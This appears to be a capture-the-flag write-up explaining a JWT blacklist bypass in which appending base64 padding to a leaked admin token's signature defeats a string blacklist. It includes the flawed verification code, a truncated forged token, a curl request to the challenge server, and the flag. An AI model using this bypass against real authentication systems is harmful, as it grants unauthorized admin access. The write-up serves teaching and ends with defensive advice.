

CTF Writeup: Return the Blow — The Notes

JWT Blacklist Bypass via Base64 Padding

Author: Senpai

Category: Web / JWT Logic Bypass

Points: 497

Flag: SK-CERT{cu570m_jw7_d035n7_v3r1fy_l5b}

Objective

The attacker's server at `http://g00gl3.online:7050` stores admin notes containing the flag behind `/api/admin/data`, protected by a `requireAdmin` middleware that checks the JWT `role` claim.

Recon

From the previous challenge we already had valid user credentials (`demo:password123`) and had read the full source code via `/source`. The flag is stored server-side:

```
const adminData = {
  notes: [
    'TODO: Rotate private key.',
    'Server room key code rotated to 7321 on April 12.',
    'VIP customer: Acme Corp renewal locked at $48k/yr.',
    process.env.FLAG,
  ],
};
app.get('/api/admin/data', requireAdmin, (req, res) => res.json(adminData));
```

Reading `auth.js` revealed a developer had hardcoded a blacklist entry for a leaked admin token:

```
// blacklist check 1 – full token string
if(tok == "eyJ...LX-atl-MwNSvuTpqYnhDiNe3UBX1BwDBH-iQ_r_0258") return false;

// convert url-safe base64 back to standard
let sb64 = s.replace(/-/g, '+').replace(/_/g, '/');

// blacklist check 2 – raw base64 signature
if(sb64 == "LX+atl+MwNSvuTpqYnhDiNe3UBX1BwDBH+iQ/r/0258") return false;

while (sb64.length % 4) sb64 += '='; // <- padding added AFTER blacklist check
const actual = Buffer.from(sb64, 'base64');
return crypto.timingSafeEqual(actual, expected);
```

The Vulnerability

The blacklist check on the signature happens **before** base64 padding is normalised. The padding loop runs **after** both checks. This means appending a = character to the leaked token's signature bypasses the string comparison while decoding to the exact same bytes:

Step	Value
Our token sig	LX-atl-MwNSvuTpqYnhDiNe3UBX1BwDBH-iQ_r_0258=
After url-safe → standard b64	LX+atl+MwNSvuTpqYnhDiNe3UBX1BwDBH+iQ/r/0258=
Blacklist check 2 compares to	LX+atl+MwNSvuTpqYnhDiNe3UBX1BwDBH+iQ/r/0258 (no =)
Match?	No → passes blacklist
Decoded bytes	Identical to original signature
timingSafeEqual result	True → token accepted

Exploit

```
ADMIN_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbmIsInVjbGUiOiJhZG1pbmIj9.LX-atl-MwNSvuTpgYn
```

```
curl -s -b "token=$ADMIN_TOKEN" http://g00gl3.online:7050/api/admin/data
```

Response:

```
{
  "notes": [
    "TODO: Rotate private key.",
    "Server room key code rotated to 7321 on April 12.",
    "VIP customer: Acme Corp renewal locked at $48k/yr.",
    "SK-CERT{cu570m_jw7_d035n7_v3r1fy_l5b}"
  ]
}
```

Flag

SK-CERT{cu570m_jw7_d035n7_v3r1fy_l5b}

Key Takeaway

Never blacklist tokens by string comparison — it's trivially bypassed by altering non-semantic characters like base64 padding. The correct response to a leaked signing secret is to **rotate the secret immediately**, invalidating all previously issued tokens.